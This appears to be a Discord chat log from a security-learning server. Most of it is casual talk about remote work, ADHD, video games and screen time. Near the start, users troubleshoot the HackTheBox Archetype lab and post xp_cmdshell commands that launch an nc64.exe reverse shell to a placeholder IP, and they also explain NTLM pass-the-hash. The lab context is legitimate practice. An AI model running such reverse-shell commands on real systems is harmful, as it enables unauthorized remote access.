# meager kernel yea you gotta search about the topic, read the documentation and then do them

Did you recently do the Archetype box? I'm stuck on some weird issue where I've copied nc64.exe to the box (Downloads folder) but PowerShell just plays dumb to it's existence. I just get ResourceUnavailable error back from PowerShell and can't launch the nc64.exe reverse shell.

Trying with this, but also tried just running the file directly with no luck:

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe {LocalIP} 443"

#

If I instead do a dir on that Downloads path, it shows the file fine

sick gate
#
xp_cmdshell 'C:\Users\sql_svc\Downloads\nc64.exe -e cmd.exe {YOUR_IP} 443'
#

or that

muted olive
#

If that doesn't work, try omitting the "powershell c" thing

#

yeah

wanton kayak
#

Yeah same error, but actually scrolling through it I now see this:
Program 'nc64.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1
Maybe the wget went funky - thanks I'll look further

not a valid app for this osplatform

Hi everyone

I’ve been on like an encryption binge, just learning about how it works and E2E and stuff like that

#

History of it etc

obtuse fern
young glen
#

😃

obtuse fern
#

because of how PWs are stored in a system's database

#

it bugs me though that NTLM hashes are formatted LM:NT

muted olive
# obtuse fern in short; it sends the NT hash of a user's password for authentication via a pro...

So:
User is supposed to authenticate with a password, it encrypts the password and compares it with the NT hash in the database (SAM I believe), and if its correct, allows access? I'm assuming it this way since that's how password authentication generally works on websites etc.
In what part does it allow the hash to directly authenticate to the resource, though? Like a protocol hijack mid-flow?

obtuse fern
muted olive
# obtuse fern basically it tells windows that 'hey it's already been hashed, don't need to reh...

I asked Gemini and it essentially says this:

During a normal NTLM authentication flow, the client receives the challenge from the server, which it encrypts with it's NT hash and sends it back as the response for proof. When the attacker has the NT hash, they can just send an NTLM auth request themselves, receive the challenge, encrypt it with the hash that they've obtained, send it back as the response and obtain access.

As always with AI, I don't know if its entirely right but it sounds logical.

The thing is I've been this person. I was an opera savant since aged 7. Was a know-it-all gave everyone insufferable unsolicited advice so I can spot it really easily. I can spot lack of self awareness so when I see it, it screams in my ear and I feel honestly pity for those people, I even tell them upfront that life will kick your ass.

I'm the cool uncle that buys cool and meaningful toys and stuff

sage epoch
#

me and my fiancee plan to rarely give our child access to technology until theyre 7-9. then they dont even need the smart features of a phone until at least middle school

tame gust
#

i'am actually 200 times more productive when doing remote work, than coming to the office some how, is it actually the same case for everyone ?

tame gust
#

i finished like 50% of given project just today

sage epoch
#

its just business as they say

#

monetizing off the vulnerable is the most profitable

molten bobcat
#

I can't go see my niece cuz I have a cold 🙁

tame gust
#

i hope this became the norm

sage epoch
#

i work remote but i have to force focus

molten bobcat
#

Music helps

sage epoch
#

sometimes for me

molten bobcat
#

Like, anc headphones

sage epoch
#

other times it does the opposite

tame gust
sage epoch
#

ive been heavily considering switching to a flip phone and not playing any video games or anything for 1-2 weeks to force my brain into a regular cycle again

molten bobcat
#

I play tons of video games

sage epoch
#

not to mention i have to reread the same paragraph up to like 5 times when training

molten bobcat
#

Instead of kicking video games all together, why not play games that require more thought and attention

#

?

sage epoch
#

i like video games, but the point would be to force bordem

#

bordem is essential for your brain

molten bobcat
#

I disagree

sage epoch
#

to be able to regulate dopamine and have creativity

#

by bordem is essential, i dont mean that you need to sit down and be bored every day

molten bobcat
#

Dopamine regulation is gonna vary person to person

#

I have ADHD and my brain literally has receptor problems lol

sage epoch
#

same

molten bobcat
#

Ive gotten medicated recently and it's helped a lot

#

They make ADHD meds that aren't stimulants now!

sage epoch
#

there is actual evidence that over stimulating your brain with distractions can be harmful to your ability to be creative and focus

#

there are focus techniques that can help adhd that involve bordem but i dont have the time to stare at a wall until doing work becomes effortless when working lmao

molten bobcat
#

I enjoy certain activies more, sure. But that doesn't make them distractions

sage epoch
#

playing video games in the evening isnt necessarily a distraction

molten bobcat
#

Learning to prioritize tasks correctly is a fella with ADHDs big endgame

sage epoch
#

but getting off work, and immediately engaging in things like social media, video games, tv, etc until you sleep

#

thats what hurts your creativity and focus

molten bobcat
#

I disagree because that's what I do every day lol

sage epoch
#

not to mention you shouldnt look at LED screens for at least an hour before bed

molten bobcat
#

Those things restore my sanity and my creativity

tame gust
#

sometimes i dont feel like working at all, and my eyese just shuts down, but when that happen i just take a break and do other things (e.g do academy), and come back to that task again at night or something

#

some projects are just toooooo boring, but you gotta find a way to reward yourself for finishing it

sage epoch
#

relying on playing video games and watching tv from the moment you get off work till you goto sleep is not restoring your creativity

#

its escapism

molten bobcat
#

I disagree, because I'm not engaging with "video games" and "tv" I'm engaging with interactive works of art I enjoy

sage epoch
#

thats the point

molten bobcat
#

I play puzzle games and strategy games all the time

sage epoch
#

doing things that force you to think and imagine

molten bobcat
#

I love puzzles and I love solving things. I'm an investigator in real life

molten bobcat
#

I only disagree with you to the point where I believe that "choosing the right content" is better than "putting the content down"

#

I mean sure if I stare at subway surfer brain rot videos for 6 hours..

obtuse fern
#

But yeah, saying "there's studies," means nothing to me unless you cite the study to me

molten bobcat
#

There's gonna be some negative effects from that lol

sage epoch
#

but just grinding fortnite until you goto sleep

#

that can heighten adhd symptoms and harm focus

molten bobcat
#

I agree, pick the content correctly

dusky jacinth
#

I believe that’s the biggest problem

sage epoch
#

although staring at led screens all the time stresses your eyes and can harm your ability to sleep

dusky jacinth
#

It’s based on consumption rather than there being a focus on actual content

obtuse fern
molten bobcat
#

Well sure but that's solved by sitting in a well lit room lol

#

Sitting in a dark room with phone max brightness is retina shattering lol

dusky jacinth
#

But there has been studies showing playing video games can significantly increase reaction time throughout aging

rustic carbon
#

vrooooooom

dusky jacinth
#

Something like 26% increase

rustic carbon
#

car on twitter call that vrooomf

molten bobcat
#

Are you saying "faster" reaction times or "slower" reaction times

sage epoch
obtuse fern
dusky jacinth
#

Increase reaction speed**

molten bobcat
#

I keep it about 50%

dusky jacinth
#

So reaction time is faster

I like that argument

sage epoch
obtuse fern

It's good to have the option to toggle so you can swap between colorful pretty screen and less eye shattering screen lol

dusky jacinth

Like hmm do I want more colors now? Or more sleep later?
